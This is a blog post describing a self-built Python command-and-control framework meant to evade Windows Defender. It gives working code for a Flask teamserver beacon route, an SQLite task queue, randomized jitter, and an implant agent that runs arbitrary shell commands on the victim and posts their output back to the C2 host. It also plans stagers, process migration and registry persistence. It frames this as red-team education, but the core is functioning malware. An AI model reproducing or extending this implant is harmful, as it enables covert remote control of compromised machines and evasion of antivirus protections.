Introduction

I recently began exploring the inner workings of the Sliver C2 framework after completing the “Sliver C2: Pentesting and Evasion” course by Tyler Ramsbey (Senior Security Engineer and Lead Instructor at TCM Academy). His course provided a massive spark of inspiration, demystifying how modern Command and Control (C2) frameworks operate and how they can be tuned to bypass Antivirus (AV) solutions.

While Sliver is an incredible Go-based tool, I wanted to test the limits of my own development skills. This project started as an exploration of the fundamental mechanics of evasion. Using the practical insights from Tyler’s teachings, I decided to build my own C2 agent and server—written entirely in Python.

In this blog series, I will break down the architecture of my custom framework and demonstrate how a “Minimum Viable Product” (MVP) approach can effectively bypass Windows Defender by leveraging unique signatures and behavioral randomization.

Disclaimer: This article is for educational purposes only. The code and techniques demonstrated here were performed in a controlled lab environment. Malware development should only be used for ethical Red Teaming and security research.

What is a C2 Framework?

C2 (Command and Control) refers to the infrastructure used by Red Teamers to maintain communication with compromised systems. Unlike a simple reverse shell which is often “one-and-done,” a C2 provides a scalable, persistent, and modular environment for post-exploitation.

For my custom framework, I focused on two primary pillars:

  1. Stealth: Remaining invisible to static and behavioral analysis using randomized beacon intervals (Jitter).

  2. Reliability: Ensuring the connection persists even in restrictive network environments using standard HTTP protocols.

Architecture: The “Pull” Mechanism

The framework is split into three distinct components: the Teamserver, the Database, and the Agent. Unlike a reverse shell that constantly holds a connection open, this architecture uses a “Beaconing” model where the agent polls the server for work.

1. The Database State

To manage asynchronous tasks, I utilized SQLite with Write-Ahead Logging (WAL) for concurrency. The schema is designed to separate active sessions from the tasks assigned to them.

The tasking logic is crucial here. Commands are not sent immediately; they are “queued” in the database until the agent checks in.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# From database.py: Task Schema
cursor.execute("""
    CREATE TABLE IF NOT EXISTS TASKS (
        TASK_ID INTEGER PRIMARY KEY AUTOINCREMENT,
        SESSION_NAME TEXT,
        COMMAND TEXT,
        STATUS TEXT DEFAULT 'PENDING',
        RESULT TEXT,
        COMPLETED_AT DATETIME
    )
""")

2. The Teamserver

The server acts as the “brain,” built using Flask and served via Waitress for production-grade stability. It exposes a REST API that handles agent registration and task distribution.

When an agent hits the beacon endpoint, the server queries the database. If a task is pending, it packages the command into a JSON response. If not, it issues a “sleep” command to keep the agent dormant.

Python

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# From main.py: The Beacon Logic
@app.route("/beacon/<session_name>", methods=["GET"])
def beacon(session_name):
    # Check for pending tasks in the database
    task = database.get_pending_task(session_name)

    if task:
        task_id, command = task
        # Send task to agent
        return jsonify({
            "action": "task",
            "task_id": task_id,
            "command": command,
            "interval": sleep_interval
        }), 200

    # No tasks? Tell agent to sleep
    return jsonify({
        "action": "sleep",
        "interval": sleep_interval
    }), 200

3. The Agent

The agent is the implant executing on the victim machine. It sits in an infinite loop, sending GET requests to the server. If it receives a task, it executes it using Python’s subprocess module and POSTs the result back.

Python

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# From agent.py: Execution Logic
def execute_task(task_id, command):
    try:
        # Execute command and capture output
        result = subprocess.run(
            command,
            shell=True,
            capture_output=True,
            text=True,
            timeout=30
        )
        # Send results back to C2
        requests.post(
            f"{C2_URL}/result",
            json={"task_id": task_id, "result": result.stdout}
        )

Evasion: How It Bypasses Windows Defender

You might wonder how a script using standard libraries can bypass a multi-billion dollar security product. The secret lies in Uniqueness and Behavioral Blending.

1. Signature Evasion

Windows Defender relies heavily on signatures (hashes or specific byte sequences found in known malware). Tools like Metasploit or Cobalt Strike are “burned”—their default configurations are flagged immediately.

Because I wrote this code from scratch, it possesses a unique signature. There is no entry in Defender’s database that matches my specific Python logic. Furthermore, libraries like requests and subprocess are standard tools used by legitimate sysadmin scripts, making heuristic detection difficult.

2. Traffic Blending (HTTP)

The communication is encapsulated entirely in JSON over HTTP. To a network monitor, the C2 traffic looks identical to a REST API call.

  • Registration: The agent sends standard JSON keys (hostname, username, os) to /register.

  • Beaconing: The agent performs a simple GET request to /beacon/<id>, mimicking a web polling action.

3. Jitter and Randomization

The most common indicator of a C2 beacon is a fixed time interval (e.g., exactly every 5.0 seconds). This creates a “heartbeat” pattern that is easily flagged by SIEMs and EDRs.

To counter this, I implemented a Jitter mechanism. In main.py, I use the secrets library (which is cryptographically secure) to generate a new sleep interval for every single beacon.

Python

1
2
3
4
5
6
7
8
# From main.py: Implementing Jitter
import secrets

MIN_SLEEP = 5
MAX_SLEEP = 30

# Inside the beacon route
sleep_interval = secrets.choice(range(MIN_SLEEP, MAX_SLEEP))

The server calculates this random interval and sends it to the agent in the JSON response. The agent might sleep for 5 seconds, then 27 seconds, then 12 seconds. This randomness breaks the predictable pattern required for automated behavioral detection.

Future Roadmap

This MVP proves that complexity isn’t always required for evasion. However, to mature this into a Red Team tool for OSCP/CPTS preparation, I plan to implement:

  • HTTPS Integration: Wrapping the Flask server in SSL to blind Deep Packet Inspection (DPI).

  • Stager Implementation: Developing a lightweight “stager” to download and deliver the full payload directly into memory, significantly reducing the initial on-disk footprint compared to a large standalone executable.

  • Process Migration: Moving execution from the initial binary into a legitimate process like explorer.exe to hide from Task Manager.

  • Persistence: Automating Registry key creation to survive reboots.

Video POC

Conclusion

Building a custom C2 framework is one of the most rewarding ways to learn the “Blue Team” side of defense. By understanding exactly what Defender looks for—signatures, predictable network patterns, and known malicious strings—we can engineer “Red Team” tools that slip through the cracks.

In Part 2, we will dive into developing a lightweight stager to deliver our payload directly into memory and exploring techniques to bypass the “Mark of the Web” (MotW).

Stay tuned, and happy hacking!